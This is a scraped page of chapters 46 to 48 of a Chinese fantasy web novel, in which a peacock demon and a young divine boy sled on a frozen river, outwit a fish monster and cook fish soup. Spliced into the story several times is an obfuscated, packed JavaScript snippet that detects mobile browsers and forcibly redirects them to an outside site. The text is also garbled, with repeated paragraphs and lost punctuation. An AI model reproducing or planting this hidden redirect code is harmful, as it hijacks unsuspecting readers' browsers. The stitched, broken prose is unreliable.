是夜,皓雪茫茫,吹絮皑皑,朔风卷起层层叠叠的旷野。荒原万里渺无人烟,唯有木屋里燃着一点昏黄温暖的光晕。 孔宴秋端着碗,正头也不抬地吃葱花炒蛋。 冒着热气,嫩黄蓬松的炒蛋,配上碧绿细碎的葱花,加一点盐,一小勺米醋——无论闻起来,还是吃上去,都是如此喷香松软,叫人停不了嘴。 是夜,皓雪茫茫,吹絮皑皑,朔风卷起层层叠叠的旷野。荒原万里渺无人烟,唯有木屋里燃着一点昏黄温暖的光晕。 孔宴秋端着碗,正头也不抬地吃葱花炒蛋。 冒着热气,嫩黄蓬松的炒蛋,配上碧绿细碎的葱花,加一点盐,一小勺米醋——无论闻起来,还是吃上去,都是如此喷香松软,叫人停不了嘴。 是夜,皓雪茫茫,吹絮皑皑,朔风卷起层层叠叠的旷野。荒原万里渺无人烟,唯有木屋里燃着一点昏黄温暖的光晕。 孔宴秋端着碗,正头也不抬地吃葱花炒蛋。 冒着热气,嫩黄蓬松的炒蛋,配上碧绿细碎的葱花,加一点盐,一小勺米醋——无论闻起来,还是吃上去,都是如此喷香松软,叫人停不了嘴。 是夜,皓雪茫茫,吹絮皑皑,朔风卷起层层叠叠的旷野。荒原万里渺无人烟,唯有木屋里燃着一点昏黄温暖的光晕。 孔宴秋端着碗,正头也不抬地吃葱花炒蛋。 冒着热气,嫩黄蓬松的炒蛋,配上碧绿细碎的葱花,加一点盐,一小勺米醋——无论闻起来,还是吃上去,都是如此喷香松软,叫人停不了嘴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101015|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是夜,皓雪茫茫,吹絮皑皑,朔风卷起层层叠叠的旷野。荒原万里渺无人烟,唯有木屋里燃着一点昏黄温暖的光晕。 孔宴秋端着碗,正头也不抬地吃葱花炒蛋。 冒着热气,嫩黄蓬松的炒蛋,配上碧绿细碎的葱花,加一点盐,一小勺米醋——无论闻起来,还是吃上去,都是如此喷香松软,叫人停不了嘴。 是夜,皓雪茫茫,吹絮皑皑,朔风卷起层层叠叠的旷野。荒原万里渺无人烟,唯有木屋里燃着一点昏黄温暖的光晕。 孔宴秋端着碗,正头也不抬地吃葱花炒蛋。 冒着热气,嫩黄蓬松的炒蛋,配上碧绿细碎的葱花,加一点盐,一小勺米醋——无论闻起来,还是吃上去,都是如此喷香松软,叫人停不了嘴。 是夜,皓雪茫茫,吹絮皑皑,朔风卷起层层叠叠的旷野。荒原万里渺无人烟,唯有木屋里燃着一点昏黄温暖的光晕。 孔宴秋端着碗,正头也不抬地吃葱花炒蛋。 冒着热气,嫩黄蓬松的炒蛋,配上碧绿细碎的葱花,加一点盐,一小勺米醋——无论闻起来,还是吃上去,都是如此喷香松软,叫人停不了嘴。 第 46 章 净琉璃之国(十四) 见他神情怅然,巫曦只当他心情低落安慰道:“好了好了咱们不说这些不高兴的事了,好不好?今天我们可要去捕鱼嘞!” 他边说,边狠狠给孔宴秋喂蜂蜜吃。说话间孔雀的双翼展过千里渭水的源头,已然在苍茫一片的大地上若隐若现。 这条曾经被夸父一饮而尽的大河如今被冻作无尽蔓延的冰带镶嵌在莽莽雪原之间河流两岸雾凇冰挂玉树银花,巨大的冰凌汇聚成连绵起伏的溶洞远远望去,居然像动物的皮毛一般茸茸蓬松。 巫曦连连哈气,脸蛋在弥漫的白雾中冷得红扑扑的,憧憬地道:“这里好漂亮啊……” “走我们往下面去。” 带着巫曦孔宴秋继续向下游飞行渭水途经万里,所过之处 “啊?”巫曦没反应过来,回过神来,慎重地考虑了一番“我还不是很饿……你饿吗?” 孔宴秋摇头。 “那先玩吧!我们可以玩饿了再抓鱼。” 孔宴秋自然没什么不同意的。河道两岸尽是被冰雪压透的苍老枯木他挑选特别坚密的品种用利爪斫下一截便如之前刨石板一样轻而易举地刨出一个半丈宽一丈长的厚实橇板他再稍加改造将四边制造出保护的翘边前头挖出孔洞。 “来用你的火烧一烧。”他示意巫曦“可以把上面的不平和毛刺都清理干净。” “哦好的。” 巫曦依言烧过一遍在木面上延出不规则的漂亮纹理之后孔宴秋提着滑冰板用粗绳子穿过前面的孔洞打了几个结结实实的死结。 “先试试这个小坡”孔宴秋招呼道“没问题了我们再去滑长的。” 巫曦一声欢呼快活地蹦哒上去他坐在前头孔宴秋叠起双腿护在他身后。 金曜宫孔雀的下肢形如鸟腿又如狮虎的趾爪即便化作人形也是如此。他将翅膀和尾羽拖在滑板后方好在板子宽大倒也装得下他。 “准备好了?” 巫曦拽稳绳子肯定地回应:“准备好了!” 孔宴秋轻扇羽翼推出一阵不轻不重的风反冲得板子往前一窜缓缓地滑下斜坡。 一往下冲速度马上加快冷风呼啸猝然吹开冰面上弥漫的雪粉在两旁拖曳出飞起的闪闪发光的飘带。巫曦被惯性甩得向后 飞去撞在孔宴秋怀里高兴地大叫起来。 “呜呼!” 木板一路速滑发出沙哑的摩擦声在趋势平缓的冰河表面打着转渐渐停下来。 “怎么样?”孔宴秋脸上带着小小的罕有的笑容有点像炫耀“有没有问题?” “没问题绝对没问题!”巫曦稀罕地摸着滑板没来得及看见他的笑“我们再来一次吧?” 很快寂静了千年不止的渭河冰道上回荡着年少神人的喝彩以及快活的大笑。他的声音被风送去四方远远听去仿佛在死寂的冰雪世界里忽然扎根了一窝春日的健壮幼鸟。 但往小滑道上玩了十几遭巫曦有点腻了他始终眼馋着前面坡度甚陡九曲十八弯的大滑道。 他仰起脸期盼地望着孔宴秋:“咱们去前头的道上玩儿好不好?” 孔宴秋往前看了一眼孔雀目力了得不过一眼他便将前方河段的路况瞧得一清二楚。 “会不会太冒险?”他有点犹豫 “不会啦!”巫曦拍着胸脯信誓旦旦地打包票“以前在长留我也经常去滑冰的呀早就熟悉了。何况你在这里能出什么岔子?” 见孔宴秋依旧迟疑巫曦粘糖糕一样缠上去使出一招耍赖大法在黑孔雀怀里滚来滚去。 他今日穿得又多整个人像一条邪恶的圆香肠不依不饶地挂在孔宴秋脖子上乱扭:“我要去前面玩嘛我要去我要去我就要……” 孔宴秋被缠得满头汗一双翅膀无措地翕动面对巫曦他的脑海里闪出明晃晃的三个大字“小祖宗”。 以前他嘲笑造出这个词的人祖宗就祖宗加个“小”字是什么意思?岂非画蛇添足多此一举。可到了现在他总算明白了真是个小祖宗啊!又小又娇又难缠打不得骂不得弄得他一面无可奈何一面暗暗觉得好笑。 “行行行”孔宴秋被缠得没办法了“我们就去前面玩儿好不好?怕了你了。” 邪恶的圆香肠眼看自己的意图得逞立刻咧着嘴嘎嘎大笑。 来到陡峭的河道上方孔宴秋仔细检查了绳子和巫曦的坐姿用毛毯把他的脑袋包好再三强调:“觉得撑不住了就不要逞强我们可以飞到天上缓一缓知道吗?” “好的好的知道啦!” 孔宴秋只得扇出一阵风让它推着橇板往下走。 木板慢慢下滑巫曦抓紧绳子心跳不自觉地加快手心也冒汗了 。 孔宴秋护住他的腰和胸口,轻声道:“准备好。” 巫曦深吸一口气,刚想回答,滑板便径直坠了下去! “我准备啊啊啊啊——!” 起步就是惊险刺激的最高速,雪风尖锐地自身侧掠过,巫曦两旁的景色被拉长成模糊的丝线,远方的九曲冰河、巍峨群山、沆砀雾凇……都无限快速地向他逼近,好像要合起伙儿来,就这么推搡着一下跳到他脸上去。 他的喊声一路拉长,冷不防叫滑板碾过冰道上的凸起之处,登时重重一颠,哐当大震,巫曦的屁股跌得离板,呐喊声也断在喉咙里,化作“咯”的一声仓促尖叫。 孔宴秋一下没忍住,在后面笑得肩膀发抖,只是不让巫曦听见。 前头就是河道转弯的地方,他止住笑意,急忙抓着绳子一拽,将滑板转移方向。一个极限漂移,让板子横着擦出去几十米,避开了渭水两旁坎坷不平的厚实冰墙,也让巫曦喘过一口气。 “太棒了——!” 他终于可以痛痛快快地大叫出声,巫曦张开双臂,尽情感受狂风咆哮着冲击着自己,自己却将风都抛在身后的快乐,他放声大笑,眼睛亮得如同燃烧。 前面又是一个弯道,接着一个弯道,再来一个弯道……巫曦笑得、叫得嗓子都哑了,最陡险的时候,他缩在孔宴秋怀里,让这双宽大的羽翼包裹住自己。孔雀的翅膀上生长着最危险的云纹,能够呼唤最凶暴的风雷,此刻,这双翅膀却保护着他,使他免受朔风刺骨的刮伤。 巫曦很快适应了冰道穿梭的诀窍,他大声道:“让我控制一下吧!” 风声刺耳,孔宴秋提高音量:“你没问题吗!” “没问题的,交给我!” 孔宴秋将绳子缠到他手上,巫曦用力操纵着滑板的方向,乐得眼睛都挤成一条缝了。眼见他有惊无险地转过前三个弯道,孔宴秋正要松一口气,前方异变陡生。 ——随着一声巨响,原本平滑坚硬的河面上,骤然隆起一个山丘般庞大的阻碍! 就好像这不是冰冻千年的渭水,不是坚冰足达几十丈的冰道,而是一面松松垮垮的沙滩,可以叫人轻松地堆出形状。 刹那间,巫曦惊叫出声,出于巨大的惯性,滑板瞬间就被撞得飞起,高高地跃至天空,旋转着和乘客分离。 孔宴秋也被弄得措手不及,巫曦太轻,就像一尾滑溜溜的小鱼,“嗖”得从他双臂间颠飞出去,黑孔雀紧急在天上稳住重心,调整双翼,朝他的神人凶猛地扑飞过去,总算在半空中及时赶到。 他不敢直接揽住巫曦因为摔飞出去的势头不减而孔雀的骨骼坚逾金刚石强行抱人只会挫伤神人脆弱的身体。情急之下孔宴秋只能虚虚拢着他伴着被甩出的路线用翅膀卷住巫曦的身体。 最终一人一鸟共同砸进岸上的厚实积雪蹭出长度近百米的一道沟壑深深埋进了雪地当中。 沉寂半晌巫曦一头钻出雪层他满脸满身的雪连脑袋上都顶着一堆三角形的积雪。他愣愣地望着远处那个巨大的冰丘忽然就开怀大笑起来。 “哎原来是鳋鱼呀!” 鳋鱼乃是居住在渭水的妖兽体格巨大花纹怪异它出现的地方必然会有大的战争和动乱。 方才它骤然发难改变冰层的形状想来也是因为被两个闹闹嚷嚷的旅客吵醒了故而一定要给他们一个教训。 巫曦的笑声清脆响亮震动四野孔宴秋抱着他坐起来 孔宴秋阴恻恻地道:“畜生你找死!” 他的尾翎上已经跳起黑紫色的妖异火炎巫曦急忙拉住他的手:“它们是住在这儿的原住民应该是我们吵到它们了。” “如果我不在这里或者我没有接住你”年轻孔雀的神情异常严肃“你早就在河面上一头摔死了。它们没安好心就是想要杀人。” 既然如此就让我烧死它们即便在冰寒的水下五蕴阴火也能不受阻碍地旺盛狂燃就让我烧死它们叫它们在自己的家园中凄惨哀嚎! 巫曦哈哈一笑拉下他的耳朵叽里咕噜地说了几句话。 孔宴秋皱起眉毛他暴戾的杀意慢慢消散了取而代之的是困惑的神色。 “你……”他一时语塞“你真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151532|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想这么做?” 巫曦点点头。 “你的玩心还真重啊”孔宴秋叹气“好吧我去找找板子掉哪儿了。” 二十分钟后两人重振旗鼓再次站在陡坡上。 “准备好?”巫曦严肃地问。 孔宴秋严肃地点点头严肃地摆好橇板严肃地系好绳子。 “来吧。”他说。 他们重新飞跃在宽阔的冰道上与上次轻松散漫的态度不同这一次孔宴秋专心控制绳索巫曦则专心分辨空气中的味道。 木板与冰面摩擦发出声势浩大的共振之音。一人一鸟聚精会神专心致志地感应着厚厚冰层下 面的动静。 很快,他们就回到了之前被掀飞出去的河段,巫曦瞪大眼睛,目光猛地定格到一个位置。 他断然大喝:“快躲!” 孔宴秋眼疾手快,狠狠把滑板往上一拉—— 鳋鱼故技重施,再次控制冰面,狠狠顶起,试图进行第二次攻击。只是这一次,它的目标早有准备。 ——在巨大外力的冲击下,滑板仅仅失控地打滑了两下,接着稳稳飞上高空,划过一道圆滑的弧线。落地时,在冰上撞击弹跳了几次,就安然无恙地继续前进了。 “哈哈!”巫曦张开双手,快乐地大喊大叫,孔宴秋也在畅快地微笑,“赢了!我们赢了,你的阴招没有成功!” 他转过身,冲冰面下的鳋鱼狂吐舌头,做鬼脸,也不管人家能不能看见:“老狗学不会新把戏,略略略!” 事实证明,哪怕隔着厚厚的冰层,鳋鱼仍然可以看见。 听到它在冰下发出狂怒而模糊的噪音,巫曦面色一僵:“哦哟,不好,快跑!” 鳋鱼在后面穷追不舍,一人一鸟在前面把它当做紧张刺激的滑道娱乐项目;鳋鱼在后面咆哮,一人一鸟在前头怪叫大笑……如此,活活地将鱼怪溜了一上午,直到鳋鱼恨恨不平地沉进渭水,再也不理会他们,他们才气喘吁吁地停下来。 巫曦玩得满头是汗,浑身燥热,他呼哧哈哧地喘着气,嗓子真的喊哑了,一说话就疼,饶是如此,他仍然窝在孔宴秋怀里,咯咯地笑个不停。 “太有意思了!”他沙哑地道,“下次我们还要来这儿玩!” “少说点话,”孔宴秋拿出羊皮水囊,把蜂蜜滴进去,看着他一口口地喝,“喉咙不难受?” 巫曦嘿嘿笑,他们在天蒙蒙亮的时候赶到渭水,转眼就玩到了晌午,他喝完蜂蜜水,摸摸依然干瘪的肚皮,对孔宴秋噘嘴。 “饿了。” “走吧,”孔宴秋道,“我们去抓鱼。” 巫曦玩了一上午的激流勇进,这会儿腰酸腿软,走不动路。孔宴秋便把他放在宽大的滑板里头,自己将滑板上的绳子系在腰间,他低低地飞在前面,后头拖着一个软趴趴的巫曦。 巫曦好奇地左看右看,看够了沿岸的风景,抬头瞥见了孔宴秋垂下的尾翎。孔雀的尾巴华美丰厚,羽斑鎏金镶紫,绮丽至极,像泪滴一样闪闪发亮,他忍不住就伸手去够,想拿在手上摸摸看。 自从孔宴秋从昏迷中醒来,巫曦可再没有机会摸他的大尾巴了,是以这会儿眼馋得要命。然而他左右开弓地捞,那厚厚一捧摇曳的饰羽却始终捞不到手上,总是狡猾地从他的指缝间溜走。 巫曦累得额头滴汗,余光瞅到孔宴秋的肩膀正小幅度地抽动,登时恍然大悟,控诉道:“你捉弄我!” 孔宴秋忍着笑,一本正经地回头道:“技不如人,怎么能说是捉弄呢?” 可惜,他还在这儿给巫曦讲技巧的事,孰料人家马上就要发挥邪恶圆香肠的风采,在板子上耍赖撒泼,来回翻滚。都这光景了,还管什么雄孔雀的尾巴摸不得的规矩?孔宴秋赶紧把尾翎往他怀里一塞,没脾气地哄道:“好好好,给你摸,给你摸还不行吗?” 邪恶圆香肠的企图再度得逞,他对着黑孔雀的尾巴摸摸抱抱,简直得意的不得了。 作者有话要说 巫曦:*张开双臂,拥抱太阳*耶——我在飞!*掉在鱼怪头顶,打出一个包* 孔宴秋:*默默地待在他身后,尽管他也能飞*嗯,是啊。*满足于闻巫曦柔软,香香的头发* 巫曦:*再次起跳,操纵滑板,在空中旋转720度,完美落地*哦耶——我还在飞!*落在鱼怪头顶,打出第二个包* 鱼怪:*哭得很厉害,但是没人看见* 第 47 章 净琉璃之国(十五) 笑闹间,他们在更加平缓开阔的河道上选好了冰层最为薄弱的位置,巫曦嗅了嗅,肯定地点头:“就是这儿了。 孔宴秋道:“离远一些。 等到巫曦遥遥地站在岸边探望了,他才抖开尾翎,三色神光犹如惊雷一振,将渭水的河道破开一半,巨冰塌陷,雪屑飞溅,露出来的裂口犹如深谷海渊,黑黢黢的一眼望不到底。 渭水深不可测,即便是最容易抓到鱼的河段,也冻了十几米的厚冰。孔宴秋第二下抖开尾翎,将神光刷进裂口内部,再收回的时候,只听河水轰鸣暴响,自裂隙中高高喷出。 漫天冰雪如雨,噼里啪啦落下的河鱼也像雨一样,不论大小,不分公母,在冰面上掉了满地,勉强弹跳几下,很快就在极寒和北风中冻得邦硬。 巫曦的眼睛都看直了,他欢呼雀跃地跑过去,先把几条嫩嫩的小鱼抢到怀里,又看到前头有更大更肥的鲂鱼,于是急忙丢了怀里的小鱼,捡那些肥肥的鲂鱼,再一转头,不远处还有长如小腿的白肚鲇鱼,于是又丢下鲂鱼,去拾那些鲇鱼…… 他捡了一路,也丢了一路,真是眼花缭乱,挑也挑不过来了。 “这真是我做梦才能看见的景象啊!巫曦快乐地在鱼堆里蹦来蹦去,“孔宴啾,你快下来看,跟我一起挑! 孔宴秋哑然失笑,他飞下来,帮着巫曦把鱼都用芥子术存放起来。 昔时的他五感失衡,对待食物也是可有可无的态度,如何浪费也不觉得可惜。但现下,他已经知晓了食物的万般滋味,因此尽管面色不显,内心却对烹饪鱼肉抱着高涨的期待之情,这次捞上来的鱼,他一条也没有放过,全收进囊中了。 “走,咱们做鲇鱼汤喝,巫曦跑在前面,兴致高昂地道,“你不知道,长留的庖厨里有一个特别会做鱼汤的宫人,他做的鱼汤真是天下一绝。他也教了我几招,你等着,我给你好好比划比划! 孔宴秋笑道:“好。 两岸的古木被厚雪压得弯折,积年累月,弯曲的枝干和冻结的冰雪形成了无数大小不一,自在天然的室外棚屋。他们挑选了一处高大宽阔的树棚,孔宴秋敲掉一部分危险的冰凌,和巫曦弯腰进入里面。 一人一鸟对视一眼,开始默契地清扫里头的积雪。巫曦扫出一块干净的空地,铺上垫子,摆好碗筷;孔宴秋寻了许多干燥枯枝,掰成一段段的,架锅烧水。 按照巫曦的指示,第一锅开水需要稍稍烫过鲇鱼的鱼身,这样才好刮去粘液和细鳞,接着破开鱼肚,清理内脏,抠掉鱼鳃。 尽管是第一次处理这么小的食材,但孔宴秋手脚利落,已经做得很像样了。巫曦一边夸夸他,一边把鱼砍成几段,在煮汤前,先在锅里抹上猪油,准备煎鱼。 “这也是那个宫人告诉我的秘方,巫曦说,“煮汤前先煎一煎,像这样,把鱼两面都煎得金黄金黄的,包管煮出来的汤好喝。鲜不掉眉毛,你来找我! 孔宴秋似懂非懂地点点头,看巫曦把煎好的鱼块放入滚开的水里,切下一把小葱,拍碎几瓣蒜,一小块姜,全部扔进去,盖上锅盖,咕嘟嘟地煮着。 不多时,腾腾的白雾,还有一些极清美的香气,便活泼地顶开锅盖,像云朵一样飘在寒冷的空气里了。 到底都是半大的孩子,这会儿纷纷捧着碗,已经难掩期盼雀跃的情绪。巫曦嗅了嗅,脸上露出大大的笑容。 “锵锵! 他揭开陶锅的锅盖,只见一锅浓稠奶白,鲜香扑鼻的鱼汤翻腾得正欢,嫩黄的姜末,翠绿的葱花就在金黄雪白的鱼肉之间起伏。 孔宴秋虽然看不见诱人颜色,但完全能闻到这股令人垂涎的香气。他双手捧着碗,乖乖地伸出去,等巫曦给他舀汤。 巫曦用勺子搅了搅,鲇鱼的肉质细嫩鲜滑,如今熬成一锅鱼汤,汤汁也浓郁醇厚。临到出锅前,他洒下一把盐,满意地点点头。 “请尝,请尝! 两大勺鱼汤,三段沾着葱花的厚厚鱼肉舀进了孔宴秋的碗。巫曦给自己也盛上,小口小口地吹着气,然后浅喝一点。 ——委实是鲜美无比! 除了葱姜蒜和盐,巫曦再没有放别的调料,此刻,大自然的清新至味完美地融进这一锅鱼汤里,他喝着奶白的鱼汤,再去吃入口即化的滑嫩鱼肉,只觉得浑身都暖和了,额头同时微微地发着汗。 “味道如何,好吃吗?他笑眯眯地转头,却见孔宴秋的脸色不大对。 黑孔雀放下汤碗,嘴角还沾着一点碧绿的葱花,忽然紧紧地闭上眼睛,轻轻地“嘶了一声。 巫曦瞬间反应过来,他一定是恢复视觉了。 四周冰川横挂,银树皑然,雪尘在白日里闪着刺目的光……不要说刚刚恢复正常视觉的病人,就是正常人也不宜多看,以免刺痛双眼。 思及此处,巫曦急忙放下碗筷,抢到他身上,先紧紧地捂住他的眼睛。 “眼睛痛不痛?他问,“我给你捂着,你小心点睁开呀。 孔宴秋用自己的手覆盖着他的手背,适应了一会儿,才慢慢地把巫曦的手挪下来。 世界焕然如新他第一眼看见的是巫曦的脸庞。 这一刻他的生命似乎被分割成了三种颜色。 黑色是巫曦乌木般微微发蓝的头发浓密的眉睫和清澈眼瞳;白色是他莹莹素白的皮肤唇边呵出的白雾;红色则是他脸上冻出的一团晕红是笑着弯起的红润嘴唇以及眉心小小的一点鲜艳红痣。 孔宴秋怔怔地凝视着他忘记说话也忘记了呼吸。 “咦?”巫曦奇怪地挥挥手“孔宴秋?孔宴啾?呼叫孔宴啾?你怎么了是变傻了吗?” 孔宴秋深金色的瞳仁惊慌地颤动了两下他似乎刚从漫长的白日梦中回过神来沙哑地说:“你……” “我……”巫曦学着他的语气“我怎么了?” 他捧住自己的脸忽然像是明白了什么洋洋得意地笑了起来。 “哈怎么样我很可爱对不对?早就告诉过你啦我是长留王宫里最可爱的小孩儿!全国我不敢说但是在王宫里谁也比不过我阿嬷、司膳和司珍都可疼我了。” “……是啊可爱可爱。” 孔宴秋语无伦次近乎慌乱地重复着他的话但不是可爱不止是可爱。 他无从形容那一刻的震颤与悸动语言太过贫瘠他只知道在那转瞬即逝的一刹世界寂静无声他仿佛与巫曦对视了一生的漫长时间。 “别乱看雪地啊”巫曦笑嘻嘻的尚不知道孔宴秋的心中经历了怎样的震动“会把眼睛看伤的来看看锅!看我今天熬的鱼汤是不是很不错?” 孔宴秋勉强将目光转向陶锅万物的颜色向他巨细无遗地展露他得以清清楚楚地看见黧黑色的陶锅上印着粗糙的土黄色三角花纹锅中的汤汁泛着诱人的白色这种白色不像雪那么耀眼单薄而是更温厚更容易让人产生食欲的浓白。 青葱翠绿的葱花黄色的姜末嫩白的鱼肉都在汤里翻滚巫曦一一指给他看:“这是绿色那个是姜黄色汤嘛就像羊奶的颜色所以是奶白色……” 巫曦教他辨认颜色他们分完了美味的汤巫曦又教他如何堆起深灰色的石头再用褐色的树枝穿起鱼放在金色的灵火上烧烤。 烤鱼撒了盐和秦椒末香酥辛辣吃得人停不下嘴。直到撑得肚皮滚圆 孔宴秋频频地盯着他瞧眼神恍惚而灼热巫曦也不觉得有异只是吃多了难免觉得昏昏欲睡他打了个哈欠 ,转身对着孔宴秋道:“我们今天还回去不? “你想睡在外面?孔宴秋问,目光专注地盯着他看,“这里可比不得屋子里舒服。 巫曦叹息一声,显得很忧愁:“屋子里是可以遮风挡雨,不过床一直很硬,跟睡在外面有什么区别?还有我的衣服…… 他发出一声小动物的悲鸣:“虽然它们都是西陵国的匠人织造的,不会脏,也不会坏,可我已经好久没有换过新衣服啦!算一算,我的生辰都要到了……流落到大荒,就是这么艰难啊。 孔宴秋愣了一下,没想到神人还有这个烦恼,会因为不能更换衣物而忧心郁闷,不过想想也是,鸟兽遵循四季的规律换毛蜕皮,他是孔雀,将来也要经受换羽增骨之苦的。 想到这里,他不禁在心中责备自己的轻率和漠不关心。更换衣物被褥,对他来说连举手之劳都算不上,只要咳嗽一声,业摩宫里的珍稀皮毛、奢靡织物都是应有尽有,为什么要等巫曦开口诉说自己的烦恼之后才有所动作? 想到业摩宫,他在心里叹了口气。 尽管那里的环境嘈杂污浊,更有许多没眼色的凶鸟妖禽,时刻盯着他的一举一动,可它的条件毕竟胜过小木屋万倍,如果我说要带他回去,他会同意吗? 孔宴秋正在思索,便听巫曦道:“算啦,其实我的运气还是蛮好的,如果不是那间木屋,我早就葬身雪原,被其他妖兽吃掉了。而且,麻雀虽小,五脏俱全嘛,它也挺好的,我住得自由自在,倒是比长留王宫还强一些呢。 孔宴秋刚刚酝酿在心底的说辞,顿时打了退堂鼓。 “好,你喜欢就好,他轻声道,“有什么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“神人的衣物鞋袜,御寒的外套、披风、里衣,晚上穿的寝衣……但凡日常生活能用上的,我全都需要。高度到这里,匀称身材,不胖不瘦。”他开门见山地下令,“衣料不求珍稀,但做工必须精良,我要是在上面摸到一个线头,就烧光你们的鸟毛,懂吗?” 稀奇! 三名下属在心中大呼奇迹,莫非是娲皇娘娘显灵,今儿这个杀星怎么没撂要烧死他们的狠话了?而且还指名要神人小孩儿的衣服…… “再拿枕头,厚实皮毛和铺床的丝棉过来,”他接着道,“皮毛不要粗糙。各色器物、工具,一应拿来与我挑拣,明天我就要看到。” 盯着面前三只不敢抬头的凶禽,孔宴秋歪了歪脑袋。 “倘若做得妥当,”他轻描淡写地说,“你们身上的火毒,我可以适当松一松。” 霎时间,三只妖鸟都变了脸色。 业摩宫兴建两百余年,从未有谁能在孔宴秋手中讨到“清缓火毒”的恩惠。倘若被宫里的那些大妖知道,搞些小孩衣服、毛皮褥子,就能把深埋心脉的火毒放松一些,只怕打破了头,也要来抢这边的差事。 “是!”他们齐声应喏,一阵风般地迅速刮走了。 有了重赏,手下的办事效率果然愈发神速,当天傍晚,孔宴秋要的东西就送到了他手边。 他着意挑选了几件,剩下那些镶金嵌宝,极尽繁琐奢华的礼服正装,他看不都看,弹指便烧得精光。第二日清晨,他唤醒巫曦,献宝般道:“你瞧,这些是什么?” 巫曦再次睡眼惺忪地爬起来,看到手边摆着一沓做工精致的新衣,从里到外,一应俱全。衣料都是他喜欢的淡蓝淡绿,襟边和袖口,全绣着孔雀尾翎的图样。 “哎呀,新衣服!”他惊喜地睁大眼睛,拿在身上比划,“是送给我的吗?” “你十五岁的生辰,我没什么好送的,”孔宴秋看着他,眼里似是含着笑意,“换上试试,看喜不喜欢。” 巫曦刚刚睡醒,脑子还懵懵的,想不到去追究这都是哪里来的新衣服,他跳到地上,快快地穿好一件,领口和袖间镶着茸茸的一圈白毛,更把整个人都衬小了一圈。 “这么合身?刚刚好!”巫曦快乐地在屋子里到处蹦哒,“怎么样怎么样,好看不?” “好看,”孔宴秋认真地点头,“你穿的都好看。” 作者有话要说 孔宴秋:*挑选衣服,满意地点头*不错。*包起来* 孔宴秋:*挑选毛皮褥子,满意地点头*不错。*继续包起来* 还是孔宴秋:*挑选所有巫曦可能会喜欢的宝贝,满意地点头*不错。*统统包起来* 其他被零元购的妖兽:*气得昏倒了,再也不能开口说话* 最后,还是孔宴秋:*挑选气昏的妖兽,不满地摇头*嗯,不行。*径直离开* 第 48 章 净琉璃之国(十六) 数月之后,巫曦穿着他的毛领小袄,正在赤红色的山岩上溜溜哒哒,手里提着个小花篮,到处摘地上的茴香。 如今孔宴秋的五感已经恢复了三种,嗅觉、味觉和视觉都与常人无异。按照巫曦的意见,既然已经能确认治愈五感失衡之症的关键就是灵火烹饪的食物,那剩下的两种感官也不必操之过急。 毕竟但凡大病初愈,身体总要花段时间来适应新生的状态,他也应该留出这样的时间才对,而他说的话,孔宴秋总是愿意听从的。 因此,两人也不急着寻找烹饪新食材和新菜式,而是轻松地游玩了一段时间。带着巫曦,孔宴秋飞遍了周边的区域,玩累了,就回到他们的小屋里。 ——说到当初的简陋小屋,如今已经是大大变样。 他们在木床上铺了三层柔软厚实的兽皮,再在上面盖着光洁的丝棉,放两个沙沙作响的软枕头,就是一张暖暖和和,舒服的不得了的床铺了。 孔宴秋又推开了陈旧的架子,打通木屋的一侧墙壁,用铁板样的杉木在旁边建造出一间小小的储藏室,如此一来,就可以把厨具和餐具都摆在里头,不必再累赘地占据主屋的空间。 随后,他们更添置了许多小玩意:孔宴秋从不知名妖兽那里搜刮来的青玉灯,不需要灯油,点燃一缕灵火,就能将小屋照得亮如白昼;孔宴秋搜刮来的百花奇珍柜,轻轻巧巧,大小不过三尺,里面却别有洞天,专门拿来收置巫曦的衣物;孔宴秋搜刮来的精工小铜镜,不过巴掌大小,挂在墙上,却可以将人的全身纤毫毕现地映照出来…… 不出两月,这件小屋已然被孔宴秋寻来的东西堆满,又改造得锦绣小窝一般。不要说两个落难的半大孩子,就是王公贵族也能住得了。 这一天,孔宴秋不知从哪里听说了一处大荒深处的火山热泉,特地带巫曦赶到这里游玩。 夙昔漫天神佛远逝,其中不乏消解身陨的古神,掌管四时的大神也未能幸免。随着中央后土的沉寂,句芒、蓐收、祝融与玄冥,都先后消散在大荒上空。 神明的尸身一重叠着一重,遗留了永世不竭的印痕,彻底改变了此世的一切面貌。 尽管玄冥是最后消散的,但大荒广袤,总有落雪覆盖不到的地方。他们今天找到的火山热泉,便是祝融的神力残余。 这时候,巫曦正在满山转悠,寻找能吃能用的食物草药,只是火山上满是硫磺味儿,甚是影响他的鼻子。 他穿着孔宴秋给他准备的小袄,衣料的颜色皎洁如月,雪白的毛领子托着他的脸, 从天上往下看,他就像一坨雪球,缓缓滚动在赤红色的山岩上,显眼招摇得要命。 不过没关系,孔宴秋就在天上盘旋着,不过为了先探查周边可能存在的潜在危险,他放下巫曦,就飞到云端去了。 “我到上面看看,找一下附近有没有什么危险的妖兽。 “噢,好的。 巫曦边走边嗅,周边作物贫瘠,好在火山脚下的土地分外肥沃,长了不少野生茴香,他折到篮子里,也不算全无收获。 空气中满是茴香的特殊香气,巫曦举着鼻子,一路采摘过去,不知不觉地转过山坳,忽然“咦了一声。 前头一片空地,原先生长茂盛的茴香到了这里,像极了中年男子的脑门,露出一段光秃秃的空白。 